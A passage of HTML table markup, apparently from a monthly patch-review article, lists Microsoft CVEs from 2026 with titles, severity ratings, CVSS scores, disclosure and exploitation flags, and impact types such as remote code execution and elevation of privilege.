  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
